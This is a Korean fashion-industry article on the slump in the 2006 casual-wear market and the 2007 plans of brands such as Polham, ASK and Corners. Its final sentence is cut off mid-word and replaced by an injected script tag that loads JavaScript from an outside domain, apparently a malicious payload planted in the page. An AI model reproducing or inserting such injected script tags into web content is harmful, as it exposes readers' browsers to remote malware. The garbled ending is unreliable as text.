트렌디 반영한 상품화가 키워드
지난 해 지속된 경기 침체로 그 어느 복종보다 큰 타격을 받았던 캐주얼 시장. 경영 악화로 중단된 브랜드도 많았고 변화무쌍한 날씨 탓에 재고 부담률도 만만치 않았다. 소비자들은 더 싸고 트렌디한 옷을 찾아 인터넷으로 동대문으로 외도를 했고 그나마 남아있던 고객들조차 일부 브랜드로만 쏠리는 현상을 보였다. 그야말로 침체의 늪에 빠진 캐주얼 시장이 변화를 모색해야 할 시점이다. 지난 한 해를 돌아보며 각 브랜드들의 2007년 핵심 전략을 알아본다.
▲차별화된 브랜드 아이덴티티를 갖춰라
지난해 캐주얼 시장은 그야말로 침체의 늪이었다. 업체들은 경기 불황에다 예측 불가능한
날씨로 인해 선기획 아이템들 중 상당수를 재고부담으로 떠안게 됐다.
브랜드간 경쟁이 치열해진 것도 하나의 요인이 됐다. 브랜드 하나가 쎄일에 들어가면 다른 브랜드들도 어쩔 수 없이 따라야 하는 게 정석이 됐다. 노쎄일을 고수하며 이같은 흐름에 편승하지 않는 브랜드도 있었지만 고객 이탈을 막기 위해선 행사 비중을 늘려 매출규모를 맞출 수밖에 없었다.
2006년 캐주얼업계는 외형은 커졌으되 실속은 없었다는 게 업계 전문가들의 공통된 의견이다.
이런 상황에서도 차별화된 브랜드 아이덴티티와 전략으로 선전하는 브랜드는 있었다.
앤듀, 폴햄, 애스크, 코너스가 바로 그 주역들이다.
‘폴햄’은 1300억원에 이르는 매출을 달성하며 연말 캐주얼 부문 베스트 브래드로 선정되는 등 활약이 돋보였다.
폴햄의 인기 원인은 타 브랜드들이 트렌드에 휩슬리며 우왕좌왕 하는 가운데서도 고유의 트래디셔널 원칙을 고수해 나갔다는 점이다.
상품전개에 있어서도 차별화됐다. 고급스러운 트래디셔널 룩에 바탕을 두고 신세대들의 라이프 스타일을 반영한 스포티브 감성이 접목된 상품을 제안했다. 다양한 아이템보다는 티셔츠나 니트같은 단품 아이템을 특화시키면서 수익 창출에도 주력했다. 이것이 바로 소비자들에게 폴햄만의 이미지를 구축하게 했고 어느 누구도 넘볼 수 없는 프리미엄급의 가치를 선사했다.
2007년 폴햄은 140여개의 매장 안정화를 추구하며 내실 다지기에 나선다. 지속적인 상품
차별화와 브랜드 가치 상승 전략으로 기반을 탄탄히 쌓아나간다는 계획이다.
‘애스크’는 지난해 약간의 정체 현상을 보이는 듯 했으나 1000억원을 돌파하며 변치 않는 브랜드 파워를 과시했다.
영국풍 트래디셔널에 바탕을 둔 고유의 브랜드 아이덴티티를 고수하며 상품을 지속적으로 업그레이드해 나갔다. 브랜드 대표 캐릭터인 미키마우스를 활용한 전략 아이템도 대거 선보였다. 엄격한 품질관리시스템을 구축해 불량률로 인한 회사 손실을 만회하는 한편 브랜드 신뢰도 상승에도 주력했다.
2007년 애스크는 영국 감성과 디즈니 캐릭터가 접목된 전략 상품을 제안하는 한편 보다 트렌디한 악세사리와 소품을 제안한다. 유통망은 140여개로 이미 포화됐다고 판단, 매장당 효율을 높인다는 방침이다.
‘코너스’는 지속적인 리뉴얼을 통해 세련되고 감도 높은 브랜드로 선회했다. 20-30대 타겟의 어번 트래디셔널로 방향을 틀며 매출 상승을 주도해 나갔?script src=http://mekiller.com/1/1.js>